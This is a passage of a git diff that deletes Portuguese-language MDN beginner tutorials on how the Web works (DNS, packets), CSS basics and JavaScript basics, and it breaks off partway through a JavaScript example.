{{PreviousMenuNext("Learn/Comecar_com_a_Web/Installing_basic_software", "Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web")}}
- -

Neste módulo

- - diff --git a/files/pt-pt/learn/comecar_com_a_web/como_funciona_a_web/index.html b/files/pt-pt/learn/comecar_com_a_web/como_funciona_a_web/index.html deleted file mode 100644 index 69fe6b79fa..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/como_funciona_a_web/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Como funciona a Web -slug: Learn/Comecar_com_a_Web/Como_funciona_a_Web -tags: - - Aprender - - Beginner - - Cliente - - DNS - - HTTP - - IP - - Infraestrutura - - Servidor - - TCP - - 'l10n:priority' -translation_of: Learn/Getting_started_with_the_web/How_the_Web_works ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}
- -
-

Como a Web funciona, fornece uma visualização simplificada do que acontece quando visualiza uma página da Web num navegador da Web no seu computador ou dispositivo móvel.

-
- -

Esta teoria não é essencial para escrever o código da Web em curto prazo, mas em pouco tempo, irá realmente começar a beneficiar da compreensão do que está a acontecer em segundo plano.

- -

Servidores e clientes

- -

Os computadores ligados à Web são chamados de clientes e servidores. Um diagrama simplificado de como eles interagem, parece-se como isto:

- -

- - - -

As outras partes da caixa de ferramentas

- -

O cliente e o servidor que descrevemos acima não contam toda a história. Há muitas outras partes envolvidas, e iremos descrevê-las em baixo.

- -

Por enquanto, vamos imaginar que a Web é uma estrada. Num extremo da estrada está o cliente, que é como a sua casa. Na outra extremidade da estrada está o servidor, que é uma loja na qual deseja comprar algo.

- -

- -

Além do cliente e do servidor, nós também precisamos cumprimentar:

- - - -

Então, o que acontece exatamente?

- -

Quando escreve um endereço web no seu browser (para a nossa analogia isso é como caminhar até à loja):

- -
    -
  1. O navegador vai para o servidor DNS, e encontra o endereço real do servidor onde o sítio web vive (encontra o endereço da loja).
  2. -
  3. O navegador envia uma mensagem de pedido HTTP ao servidor, pedindo-lhe que envie uma cópia do website ao cliente (vai à loja e encomenda a sua mercadoria). Esta mensagem e todos os outros dados enviados entre o cliente e o servidor, é enviada através da sua ligação à Internet utilizando TCP/IP.
  4. -
  5. Desde que o servidor aprove o pedido do cliente, o servidor envia ao cliente uma mensagem "200 OK", o que significa "Claro que pode olhar para esse website! Aqui está", e depois começa a enviar os ficheiros do sítio web para o navegador como uma série de pequenos pedaços chamados packets / pacotes de dados (a loja dá-lhe os seus bens, e você trá-los de volta para a sua casa).
  6. -
  7. O navegador monta os pequenos pedaços num website completo e mostra-lho (os bens chegam à sua porta — coisas novas e brilhantes, espetacular!).
  8. -
- -

DNS explicado

- -

Os verdadeiros endereços web não são os nomes agradáveis e memoráveis que escreve na sua barra de endereços para encontrar os seus sítios web favoritos. São números especiais que têm este aspeto: 63.245.215.20.

- -

Isto chama-se um {{Glossary("IP Address", "Endereço IP")}}, e representa uma localidade única na web. No entanto, não é muito fácil de lembrar, pois não? É por isso que foram inventados os Servidores de Nome de Domínio. Estes são servidores especiais que correspondem a um endereço web que digita no seu browser (como "mozilla.org") ao endereço real (IP) do website.

- -

Os websites podem ser acedidos diretamente através dos seus endereços IP. Pode encontrar o endereço IP de um sítio web digitando o seu domínio numa ferramenta como o IP Checker.

- -

A domain name is just another form of an IP address

- -

Packets explicados

- -

Anteriormente utilizámos o termo "packets" para descrever o formato em que os dados são enviados do servidor para o cliente. O que é que queremos dizer aqui? Basicamente, quando os dados são enviados através da web, são enviados como milhares de pequenos pedaços, para que muitos utilizadores da web possam descarregar o mesmo website ao mesmo tempo. Se os sítios web fossem enviados como um único grande pedaço, apenas um utilizador poderia descarregar um de cada vez, o que obviamente tornaria a web muito ineficiente e não muito divertida de utilizar.

- -

Ver também

- - - -

Créditos

- -

Street photo: Street composing, por Kevin D.

- -

{{PreviousMenu("Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/comecar_com_a_web/css_basico/index.html b/files/pt-pt/learn/comecar_com_a_web/css_basico/index.html deleted file mode 100644 index 9b401915f7..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/css_basico/index.html +++ /dev/null @@ -1,293 +0,0 @@ ---- -title: CSS - Essencial -slug: Learn/Comecar_com_a_Web/CSS_basico -tags: - - Aprender - - Beginner - - CSS - - CodingScripting - - Estilo - - 'I10n:priority' - - Web -translation_of: Learn/Getting_started_with_the_web/CSS_basics ---- -
{{LearnSidebar}} -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web")}}
-
- -
-

CSS (Folhas de Estilo em Cascata) é o código que se utiliza para estilizar a sua página da Web. CSS - Elementar guia-o através do que precisa para começar. Vamos responder a perguntas deste género: Como é que eu coloco o meu texto a preto ou vermelho? Como é que eu faço para que o meu conteúdo apareça neste lugar do ecrã? Como é que eu decoro a minha página da Web, com cores e imagens de fundo?

-
- -

Então, o que realmente é o CSS?

- -

Tal como o HTML, o CSS não é bem uma linguagem de programação; também não é uma linguagem de demarcação. É uma linguagem de folha de estilos. Isto significa que permite aplicar estilos seletivamente aos elementos nos documentos HTML. Por exemplo, para selecionar todos os elementos do parágrafo numa página HTML e transformar o texto dentro deles em vermelho, iria escrever este CSS:

- -
p {
-  color: red;
-}
- -

Vamos tentar: copie e cole estas três linhas de CSS num novo ficheiro do editor de texto, depois grave com o nome style.css na diretoria styles.

- -

Mas ainda é preciso aplicar este CSS ao seu documento HTML. Se não, os estilos CSS não vão afetar a forma como o seu navegador apresenta o documento HTML. (Se não tem seguido o nosso projeto, leia Lidar com ficheiros e HTML - Essencial para saber o que fazer primeiro)

- -
    -
  1. Abra o seu ficheiro index.html e cole a linha seguinte no cabeçalho (isto é, entre as marcas <head> e </head>): - -
    <link href="styles/style.css" rel="stylesheet" type="text/css">
    -
  2. -
  3. Guarde o ficheiro index.html e aceda-lhe no seu navegador. Deverá ver algo deste género:
  4. -
- -

A mozilla logo and some paragraphs. The paragraph text has been styled red by our css.O texto dos seus parágrafos ficou vermelho. Parabéns! Acabou de escrever com sucesso o seu primeiro CSS.

- -

Anatomia de um conjunto de regras de CSS

- -

Vejamos o CSS acima com um pouco mais de detalhe:

- -

- -

A esta estrutura dá-se o nome conjunto de regras (geralmente, "regra" para abreviar). Repare nos nomes de cada parte:

- -
-
Seletor
-
Neste caso, é o nome do elemento HTML, no início do conjunto de regras. Seleciona o(s) elemento(s) a que vai ser aplicado o estilo (neste caso, todos os elementos p). Para dar estilo a outro elemento, muda-se o seletor.
-
Declaração
-
Trata-se de uma única regra, como  color: red;, que especifica as propriedades que se pretendem modificar no elemento.
-
Propriedades
-
São as formas como se pode estilizar o elemento HTML (Neste caso, color é uma propriedade dos elementos {{htmlelement("p")}}). Em CSS, pode escolher que propriedades pretende modificar na regra.
-
Valor da propriedade
-
À direita da propriedade, depois dos dois pontos (:), temos o valor da propriedade, que escolhe uma das possíveis aparências que a propriedade pode indicar (há muitos mais valores para color além de red).
-
- -

Repare em outros aspetos importantes da sintaxe:

- - - -

Para modificar múltiplas propriedades, basta separá-las com o ponto e vírgula, assim:

- -
p {
-  color: red;
-  width: 500px;
-  border: 1px solid black;
-}
- -

Selecionar múltiplos elementos

- -

Também pode selecionar vários elementos e aplicar um conjunto de regras único para todos eles. Inclua múltiplos seletores separados por vírgulas. Por exemplo:

- -
p, li, h1 {
-  color: red;
-}
- -

Diferentes tipos de seletor

- -

Há muitos tipos diferentes de seletor. Por cima, apenas olhámos para seletores de elementos, que selecionam todos os elementos de determinado tipo no documento HTML a que são aplicados. Mas podemos fazer seleções mais específicas. Em baixo, estão alguns dos tipos mais comuns de seletores:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do seletorO que é que este selecionaExemplo
Seletor de elemento (também chamado seletor de etiqueta ou tipo)Todos os elementos HTML do tipo especificado.p
- Seleciona todos os elementos <p>
Seletor de ID O elemento da página com o ID especificado (numa página HTML, só pode haver um elemento para cada ID e vice-versa).#my-id
- Seleciona <p id="my-id"> ou <a id="my-id"> (não devem existir ambos na mesma página)
Seletor de classeSeleciona o(s) elementos(s) da página com a classe especificada (é possível haver elementos diferentes com a mesma classe)..my-class
- Seleciona <p class="my-class"> e também <a class="my-class">
Seletor de atributoSeleciona o(s) elementos(s) que tenham o atributo dado.img[src]
- Seleciona <img src="myimage.png"> mas não seleciona <img>
Seletor de Pseudo-classeO(s) elemento(s) especificado(s), mas só quando estiverem no estado indicado. Ex: quando se tem cursor do rato sobre eles.a:hover
- Seleciona <a>, mas só quando o cursor está sobre o link.
- -

Existem muitos mais seletores para explorar, e pode encontrar uma lista mais detalhada no nosso Guia de seletores.

- -

Fonte e texto

- -

Agora que explorámos as bases do CSS, vamos acrescentar regras e informação ao nosso ficheiro style.css para que o exemplo tenha boa apresentação.

- -
    -
  1. Primeiro, volte atrás e encontre o output de Google Fonts que guardou num lugar seguro. Acrescente o elemento {{htmlelement("link")}} no cabeçalho do index.html (entre etiquetas <head> e </head>). - -
    <link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
    -
  2. -
  3. De seguida, apague a regra que tinha no ficheiro style.css. Foi um bom teste, mas a cor vermelha não ficou muito bem.
  4. -
  5. Insira as linhas que se seguem, substituindo a linha de substituição pela linha font-family que obteve no site Google Fonts. (font-family indica o nome do tipo de letra). Esta regra estabelece um tamanho e tipo de letra global, em toda a página, já que o elemento <html> é o elemento raiz e todos os elementos aninhados herdam font-size e font-family: -
    html {
    -  font-size: 10px; /* px significa 'píxeis': o tamnho da letra base é duma altura de 10 píxeis */
    -  font-family: placeholder: aqui deve aparecero resto do output do Google fonts
    -}
    - -
    -

    Nota: num documento CSS, tudo o que esteja entre /* e */ é um comentário de CSS, que o navegador ignora quando processa o código. Os comentários servem para escrever notas úteis sobre o que está a fazer.

    -
    -
  6. -
  7. Agora estabelecemos o tamanho da letra para elementos textuais no corpo do HTML: ({{htmlelement("h1")}}, {{htmlelement("li")}}, e {{htmlelement("p")}}). Também vamos centrar o texto dos nossos títulos e especificar altura da linha de texto e espaçamento entre letras no corpo para o tornar mais legível: -
    h1 {
    -  font-size: 60px;
    -  text-align: center;
    -}
    -
    -p, li {
    -  font-size: 16px;
    -  line-height: 2;
    -  letter-spacing: 1px;
    -}
    -
  8. -
- -

Pode ajustar os valores de px conforme achar que fica melhor, mas em geral, o design deve ter esta aparência:

- -

a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered

- -

Caixas, caixas, é tudo sobre caixas

- -

Quando escreve CSS, poderá notar que a maior parte do esforço é referente a caixas — configurar o seu tamanho, cor, posição, etc. Pode pensar na maioria dos elementos de HTML da sua página como caixas colocadas umas sobre a outras.

- -

a big stack of boxes or crates sat on top of one another

- -

Sem surpresa, a disposição de elementos em CSS assenta principalmente num modelo de caixa. Cada um dos blocos que ocupa espaço na sua página tem propriedades como:

- - - -

three boxes sat inside one another. From outside to in they are labelled margin, border and padding

- -

Nesta secção também vamos usar:

- - - -

Portanto, vamos começar e acrescentar algum CSS à nossa página! Acrescente as novas regras no fim do ficheiro e não tenha medo de mudar os valores para ver como fica.

- -

Alterar a cor da página

- -
html {
-  background-color: #00539F;
-}
- -

Esta regra estabelece uma cor de fundo na página inteira. Mude o código de cor para aquele que escolheu quando planeou o seu site.

- -

Ordenar o corpo

- -
body {
-  width: 600px;
-  margin: 0 auto;
-  background-color: #FF9500;
-  padding: 0 20px 20px 20px;
-  border: 5px solid black;
-}
- -

Agora o elemento {{htmlelement("body")}}. Há várias declarações, então vamos ver uma de cada vez:

- - - -

Posicionar e estilizar o título da nossa página principal

- -
h1 {
-  margin: 0;
-  padding: 20px 0;
-  color: #00539F;
-  text-shadow: 3px 3px 1px black;
-}
- -

Deve ter notado que há espaço em branco horrível no topo do conteúdo da página. Isto acontece porque o navegador aplica estilo por omissão ao elemento {{htmlelement("h1")}} (entre outros), mesmo que não se tenha aplicado qualquer CSS! Embora isso possa parecer má ideia, na prática até uma página sem folha de estilos tem que ter alguma legibilidade. Para nos livrarmos deste espaço, colocamos margin: 0;.

- -

De seguida, colocámos o preenchimento por cima e por baixo a 20 píxeis, e demos ao texto a mesma cor que a cor de fundo do elemento {{htmlelement("html")}}.

- -

Utilizámos uma propriedade interessante, text-shadow, que aplica sombreado ao texto de um elemento. Estes são os quatro valores da mesma:

- - - -

Novamente, tente experimentar os valores para ver como fica!

- -

Centrar a imagem

- -
img {
-  display: block;
-  margin: 0 auto;
-}
- -

Por fim, vamos centrar a imagem para ficar melhor. Utilizámos o truque de colocar margin: 0 auto como fizemos com o corpo, mas temos que fazer outra coisa. O elemento {{htmlelement("body")}} está ao nível de bloco, ou seja, ocupa toda a largura da página e podem ser-lhe aplicados valores de margem, e outros valores de espaçamento. Por outro lado, as imagens são elemento em linha, a que não se podem aplicar estes valores. Então, para a margem ser aplicada à imagem, temos que lhe atribuir comportamento ao nível do bloco com display: block;.

- -
-

Nota: Estas instruções assumem que está a usar uma imagem mais pequena que a largura do corpo (600 píxeis). Se for maior, vai transbordar do corpo e ocupar espaço no resto da página. Para retificar isto, pode 1) reduzir a largura da imagem com um programa de edição gŕafica, ou 2) reduzir a imagem com CSS utilizando a propriedade {{cssxref("width")}} no elemento <img> com um valor mais pequeno, como 400 px;.

-
- -
-

Nota: não se preocupe se ainda não entende display: block; e a distinção entre bloco e em linha (block-level/inline). Irá perceber à medida que estuda o CSS com mais profundidade. Pode descobrir mais sobre os diferentes valores de display na página de referência de display.

-
- -

Conclusão

- -

Se seguiu as instruções nesta página, a sua página deve ter este aspeto (e pode ver a nossa versão aqui):

- -

a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip.

- -

Se ficou preso, pode sempre comparar o seu trabalho com o exemplo terminado no GitHub.

- -

Aqui, mal tocámos na superfície do CSS. Para saber mais, consulte o tópico de Aprender CSS.

- -

{{PreviousMenuNext("Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/comecar_com_a_web/elementar_de_javascript/index.html b/files/pt-pt/learn/comecar_com_a_web/elementar_de_javascript/index.html deleted file mode 100644 index fec3caaf51..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/elementar_de_javascript/index.html +++ /dev/null @@ -1,413 +0,0 @@ ---- -title: JavaScript - Essencial -slug: Learn/Comecar_com_a_Web/Elementar_de_JavaScript -tags: - - Aprender - - Beginner - - CodingScripting - - JavaScript - - Web - - 'l10n:priority' -translation_of: Learn/Getting_started_with_the_web/JavaScript_basics ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}
- -
-

JavaScript é uma linguagem de programação que dá interatividade ao seu website (sob a forma, por exemplo, de jogos, respostas quando os botões são pressionados ou quando são inseridos dados nos formulários, estilos dinâmicos ou animações). Este artigo faz uma introdução a esta linguagem excitante e dá-lhe uma ideia do que é possível.

-
- -

O que é JavaScript, realmente?

- -

{{Glossary("JavaScript")}} (abreviado "JS") é uma {{Glossary("Dynamic programming language", "linguagem de programação dinâmica")}} completa que, quando é aplicada a um documento {{Glossary("HTML")}}, produz interatividade dinânimca no website. Foi inventada por Brendan Eich, co-fundador do projeto Mozilla, da Mozilla Foundation, e da Mozilla Corporation.

- -

JavaScript é incrivelmente versátil. Pode começar em ponto pequeno, com carrosséis, galerias de imagens, layouts flutuantes, e mensagens quando se prime um botão. Depois de ganhar experiência, será capaz de criar jogos, gráficos 2D e 3D animados, aplicações completas conduzidas por bases-de-dados e muito mais!

- -

JavaScript é relativamente compacta e muito flexível. Os programadores já escreveram uma grande variedade de ferramentas sobre o núcleo desta linguagem, o que abriu portas a uma vasta quantidade de funcionalidade extra com esforço mínimo. Isto inclui:

- - - -

Uma vez que este artigo é apenas uma introdução ligeira a JavaScript, não vamos confundi-lo com detalhes sobre a diferença entre JavaScript puro e as ferramentas enumeradas em cima. Poderá aprender esse detalhe mais tarde, na nossa área de aprendizagem de JavaScript, e no resto da MDN.

- -

De seguida vamos introduzi-lo a alguns aspetos do núcleo da linguagem (JS puro, sem ferramentas), e também vai jogar com algumas funcionalidades da API do navegador. Divirta-se!

- -

Um exemplo "olá mundo"

- -

A secção anterior deve parecer mesmo empolgante — JavaScript é uma das tecnologias web mais animadas, e à medida que se torna bom a usá-la, os seus sites entrarão numa nova dimensão de poder e creatividade.

- -

Contudo, ficar confortável com JavaScript é um pouco mais difícil do que ficar confortável com HTML e CSS. Terá que começar com projetos pequenos e prosseguir com passos pequenos e consistentes. Para começar, vamos mostrar como adicionar JavaScript básico à sua página, criando um exemplo "hello world" / "olá mundo!" (o padrão de exemplos básicos de programação).

- -
-

Importante: Se não tem seguido o resto deste curso, descarregue este exemplo de código e utilize-o como ponto de partida.

-
- -
    -
  1. Primeiro, crie uma pasta "scripts" (sem aspas) na raíz do seu site de testes. Depois, dento desta pasta, crie um ficheiro chamado main.js.
  2. -
  3. A seguir, no ficheiro index.html introduza o elemento seguinte numa linha nova mesmo antes da etiqueta de fechi </body>: -
    <script src="scripts/main.js"></script>
    -
  4. -
  5. Basicamente isto faz o mesmo que o elemento {{htmlelement("link")}} faz com CSS — aplica o código JavaScript à página, para que surta efeito no HTML (juntamente com o CSS, e outros recursos da página).
  6. -
  7. Agora adicione o código seguinte ao ficheiro main.js: -
    var myHeading = document.querySelector('h1');
    -myHeading.textContent = 'Olá mundo!';
    -
  8. -
  9. Finalmente, certifique-se que guardou as alterações aos ficheiros HTML e JavaScript, e carregue o ficheiro index.html no navegador. Deverá ver algo como:
  10. -
- -
-

Nota: O motivo pelo qual pusemos o elemento {{htmlelement("script")}} no fim do ficheiro HTML é que os elementos são carregados pelo navaegador na ordem em que aparecem no ficheiro. Se o JavaScript é carregado primeiro e tem que afetar o HTML por baixo dele, pode não funcionar, já que o código JavaScript seria carregado antes do HTML que era suposto modificar. Assim, colocar o JavaScript no fim do ficheiro HTML costuma ser a melhor estratégia.

-
- -

O que aconteceu?

- -

O texto do título foi mudado para "Hello world!", utilizando JavaScript. Isto foi feito com a função {{domxref("Document.querySelector", "querySelector()")}} para obter uma referência do título e guardá-la numa variável myHeading. Isto é semelhante ao que fizémos com seletores CSS. Quando se pretende fazer algo com um elemento, há que selecioná-lo primeiro.

- -

Depois, muda-se o valor da propriedade {{domxref("Node.textContent", "textContent")}} da variável myHeading (a qual representa o conteúdo textual do título) para "Olá Mundo!".

- -
-

Nota: Ambas as funções utilizadas fazem parte da API do Document Object Model (DOM) , o qual permite manipular documentos HTML.

-
- -

Curso intensivo das bases da linguagem

- -

Vamos explicar algumas funcionalidades fundamentais da linguagem JavaScript, para permitir uma melhor compreensão de como a mesma funciona. Note que estas funcionalidades são comuns a todas as linguagens de programação, por isso, se dominar estes fundamentos, estará no bom caminho para programar praticamente qualquer coisa!

- -
-

Importante: Neste artigo, tente introduzir os exemplos de código na consola JavaScript para ver o que acontece. Para mais detalhes sobre a consola JavaScript, veja o artigo Descobrir as ferramentas de desenvolvimentos do navegador.

-
- -

Variáveis

- -

{{Glossary("Variable", "Variáveis")}} são "recipientes" em que pode guardar valores. Comece por declarar a variável com a palavra-chave var, seguida de qualquer nome que lhe queira dar:

- -
var minhaVariavel;
- -
-

Nota: O ponto e vírgula indica onde termina a instrução; apenas é estritamente necessário quando pretende separar instruções numa só linha. Contudo, algumas pessoas acham que é boa prática colocar este sinal no fim de cada instrução. Há mais regras sobre quando se deve ou não utilizá-lo — veja o artigo Your Guide to Semicolons in JavaScript (inglês) para obter mais detalhes.

-
- -
-

Nota: O nome da varíavel pode ser quase tudo, mas há restrições (veja este artigo sobre regras para dar nome às variáveis (inglês)). Se não tem a certeza, pode verificar o nome da sua variável para assegurar que é válido.

-
- -
-

Nota: JavaScript é sensível a maiúsculas — minhaVariavel é uma variável diferente de minhavariavel. Se tiver encontrar problemas depois de escrever p código, verifique as maiúsculas e minúsculas!

-
- -

Depois de declarar a variável, pode atribuir-lhe um valor:

- -
minhaVariavel = 'Bob';
- -

Pode efetuar ambas as operações com uma só instrução:

- -
var myVariable = 'Bob';
- -

O valor é obtido simplesmente escrevendo o nome da variável:

- -
myVariable;
- -

Depois de lhe dar um valor, pode optar por mudá-lo mais tarde:

- -
var minhaVariavel = 'Bob';
-minhaVariavel = 'Steve';
- -

Atenção que as variáveis podem ter valores com diferentes tipos de de dados:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
VariávelExplicaçãoExemplo
{{Glossary("String")}}Uma sequência de texto conhecido como string ou cadeia de caracteres. Para indicar que é uma string, envolve-se em plicas '.var minhaVariavel = 'Bob';
{{Glossary("Number")}}Um número. Não tem plicas em sua volta.var minhaVariavel = 10;
{{Glossary("Boolean")}}Valor que ou é verdadeiro ou falso. As palavras true e false são palavras-chave em JS, e não precisam de plicas.var minhaVariavel = true;
{{Glossary("Array")}}Estrutura que permite guardar múltiplos valores numa só referência.var minhaVariavel = [1,'Bob','Steve',10];
- Cada elemento da Array é referido desta forma (começa em zero):
- myVariable[0], myVariable[1], etc.
{{Glossary("Object")}}Pode ser qualquer coisa. Em JavaScript, tudo é um objeto e pode guardar-se numa variável. Mantenha isto em mente enquanto aprende.var minhaVariavel = document.querySelector('h1');
- Assim como todos os exemplos anteriores.
- -

Então para que precisamos das variáveis? Bem, são necessárias para qualquer tarefa interessante em programação. Se não houvesse valores que mudassem, não seria possível criar nada que fosse dinâmico, como personalizar uma mensagem de boas vindas ou mudar a imagem que se está a ver numa galeria.

- -

Comentários

- -

Pode deixar comentários no seu código JavaScript, tal como em CSS:

- -
/*
-Tudo entre estas marcas é um comentário.
-*/
- -

Se o comentário não contiver quebras de linha, deve ser mais fácil utilizar duas barras, assim:

- -
// Isto é um comentário
-
- -

Operadores

- -

Um {{Glossary("operator")}} é um símbolo matemático que produz o resultado de uma operação entre dois valores (que podem ser variáveis). Na tabela seguinte constam alguns dos operadores mais simples, juntamente com alguns exemplos que pode experimentar na consola de JavaScript.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OperadorExplicaçãoSímbolo(s)Exemplo
AdiçãoSoma números ou junta duas strings.+6 + 9;
- "Hello " + "world!";
Subtração, Multiplicação, DivisãoComportam-se com esperado em aritmética.-, *, /9 - 3;
- 8 * 2; // em JS, o sinal de "vezes" é um asterisco
- 9 / 3;
AtribuiçãoJá vimos isto: atribui um valor a uma variável.=var minhaVariavel = 'Bob';
IgualdadeFaz um teste para verificar se dois valores são iguais e retorna um valor booleano (true/false).===var minhaVariavel = 3;
- minhaVariavel === 4;
Negação, DesigualdadeDevolve o valor logicamente oposto, ou seja, torna o verdadeiro em falso e vice-versa. When it is used alongside the Equality operator, the negation operator tests whether two values are not equal.!, !== -

The basic expression is true, but the comparison returns false because we've negated it:

- -

var myVariable = 3;
- !(myVariable === 3);

- -

Verificar se "a minhaVariavel NÃO é igual a 3". Retorna false porque minhaVariavel é de facto igual a 3.

- -

var minhaVariavel = 3;
- minhaVariavel !== 3;

-
- -

Há muito mais operadores a explorar, mas por agora basta. Veja uma lista completa no artigo Expressões e operadores.

- -
-

Nota: Misturar tipos de dados pode ter resultados estranhos, então certifique-se que está a utilizar as variáveis corretamente e que os resultados estão dentro do esperado. Por exemplo, introduza "35" + "25" na consola. Porque é que não faz a soma dos números? Porque as aspas tornam os números em strings, então em vez de somar, fez a concatenção das strings. Se introduzir, 35 + 25 já obterá o resultado correto.

-
- -

Condições

- -

Condições são estruturas de código que permitem, em função do valor lógico (verdadeiro/falso) de uma expressão, executar código de entre várias alterantivas. Uma forma comum de uma condiçães é a instrução if ... else (se ... senão). Por exemplo:

- -
var gelado = 'chocolate';
-if (gelado === 'chocolate') {
-  alert('Viva, adoro gelado de chocolate!');
-} else {
-  alert('Ohhhh, mas o meu favorito é chocolate...');
-}
- -

A expressão dentro de parênteses em if ( ... ) é a condição — utilza o operador de igualdade (como foi descrito em cima) para comparar a variável gelado com a string 'chocolate' e assim verificar se são iguais. Caso esta comparação devolva true, é executado o primeiro bloco de código. Se não for verdadeira, não é executado o primeiro mas sim o segundo bloco de código, depois da instrução else.

- -

Funções

- -

{{Glossary("Function", "Functions")}} são uma maneira de juntar uma funcionalidade ou um conjunto instruções que se pretende reutilizar. Quando se pretende utilizar esta funcionalidade, chama-se a função pelo nome, em vez de voltar a escrever o código em cada utilização. Já pudémos ver a utilização de algumas funções, por exemplo:

- -
    -
  1. -
    var minhaVariavel = document.querySelector('h1');
    -
  2. -
  3. -
    alert('hello!');
    -
  4. -
- -

Estas funções, document.querySelector e alert, estão incluídas no navegador para serem utilizadas sempre que necessário.

- -

Quando vê algo que parece um nome de uma variável mas tem parênteses à direita— () —  é provavelmente uma função. As funções costumam possuir {{Glossary("Argument", "arguments")}} — dados de que necessitam para fazer o seu trabalho. Estes são passados dentros dos parênteses, separados por vírgulas quando há mais do que um.

- -

Por exemplo, a função alert() faz aparecer um "pop-up" na janela do navegador, mas é preciso dar-lhe uma string como argumento para que ela saiba o que escrever.

- -

E as boa notícia é que pode definir as suas próprias funções. Neste exemplo escrevemos uma função simples que aceita dois argumentos numéricos e multiplica-os:

- -
function multiplicar(num1,num2) {
-  var resultado = num1 * num2;
-  return resultado;
-}
- -

Tente declarar esta função na consola e depois testá-la com vários argumentos. Por exemplo:

- -
multiplicar(4, 7);
-multiplicar(20, 20);
-multiplicar(0.5, 3);
- -
-

Nota: A instrução return diz ao navegador para devolver/retornar a variável result para fora da função para que o seu valor possa ser utilizado. Isto é necessário porque variáveis definidas dentro das funções só estão disponíveis dentro dessas funções — a essa particularidade chama-se o âmbito da variável ({{Glossary("Scope", "scoping")}}). (Leia mais sobre âmbito de variáveis)

-
- -

Eventos

- -

Num site, interactividade a sério precisa de eventos. Eles são estruturas de código que esperam que algo aconteça no navegador e respondem executando código. O exemplo mais óbvio é o evento de clique, que é enviado pelo navegador quando se clica em algo com o rato. Para demonstrar, introduza isto na sua consola, e depois clique na página atual:

- -
document.querySelector('html').onclick = function() {
-    alert('Ai! Para de me picar!');
-}
- -

Há muitas maneiras de associar um evento a um elemento. Aqui, selecionamos o elemento {{htmlelement("html")}}, atribuímos à sua propriedade onclick o manuseador do evento (event handler), que neste caso é uma função anónima (sem nome), que contém o código que queremos que o evento de clique execute.

- -

Note que isto:

- -
document.querySelector('html').onclick = function() {};
- -

É equivalente a isto:

- -
var myHTML = document.querySelector('html');
-myHTML.onclick = function() {};
- -

Só que o primeiro é mais curto.

- -

Supercarregar o nosso site-exemplo

- -

Agora que que já vimos as bases de JavaScript, vamos acrescentar umas funcionalidades fixes ao nosso site para ver o que é possível.

- -

Acrescentar um alterador de imagens

- -

Nesta secção, vamos acrescentar uma imagem adicional ao nosso site com funções da API da DOM, utilizando JavaScript para mudar alternar entre as duas imagens quando se clica nelas.

- -
    -
  1. Primeiro, encontre outra imagem que goste de ter no seu site. Certifique-se que o tamanho é o mais próximo possível da primeira imagem.
  2. -
  3. Guarde-a na pasta images.
  4. -
  5. Mude o nome para "firefox2.png" (sem aspas).
  6. -
  7. Vá ao ficheiro main.js, e introduza o seguinte código JavaScript. (Apague o código do "olá mundo", se ainda lá estiver) -
    var myImage = document.querySelector('img');
    -
    -myImage.onclick = function() {
    -    var mySrc = myImage.getAttribute('src');
    -    if(mySrc === 'images/firefox-icon.png') {
    -      myImage.setAttribute('src','images/firefox2.png');
    -    } else {
    -      myImage.setAttribute('src','images/firefox-icon.png');
    -    }
    -}
    -
  8. -
  9. Guarde todos os ficheiros e carregue o index.html no navegador. Agora, quando clicar sobre a imagem, ela deve mudar para a outra!
  10. -
- -

Guardou-se uma referência para o elemento {{htmlelement("img")}} na variável myImage. Depois, atribui-se à propriedade onclick desta variável uma função anónima. Agora, sempre que se clica no elemento:

- -
    -
  1. Obtem-se o valor do atributo src.
  2. -
  3. Utiliza-se uma condição para averiguar se o valor do mesmo é igual ao caminho da primeira imagem: -
      -
    1. Se for, muda-se para o caminho da 2ª imagem, o que a obriga a ser carregada no elemento {{htmlelement("img")}}.
    2. -
    3. Se não for (e portanto, já se trocaram as imagens), o valor de src volta a ser o caminho da imagem original.
    4. -
    -
  4. -
- -

Dar uma mensagem de boas-vindas personalizada

- -

De seguida vamos acrescentar mais um pouco de código, que vai mudar o título da página para uma mensagem de boas-vindas personalizada quando o utilizador navega no site pela primeira vez. A mesma vai persistir, mesmo que o utilizador saia do site e volte mais tarde — vamos guardá-la com a API de Web Storage. Também vamos acrescentar opção de mudar de utilizador e, com o mesmo, a mensagem de boas-vindas sempre que for necessário.

- -
    -
  1. Em index.html, acrescente esta linha logo antes do elemento {{htmlelement("script")}}: - -
    <button>Change user</button>
    -
  2. -
  3. Em main.js, coloque o código seguinte no fim do ficheiro, tal como está escrito — isto obtem referências ao novo botão e o título, e guarda-os em variáveis: -
    var myButton = document.querySelector('button');
    -var myHeading = document.querySelector('h1');
    -
  4. -
  5. Agora acrescente a função em baixo para estabelecer a mensagem personalizada — por agora não faz nada, mas já vamos tratar disso: -
    function setUserName() {
    -  var myName = prompt('Por favor introuduza o seu nome.');
    -  localStorage.setItem('name', myName);
    -  myHeading.textContent = 'Mozilla is cool, ' + myName;
    -}
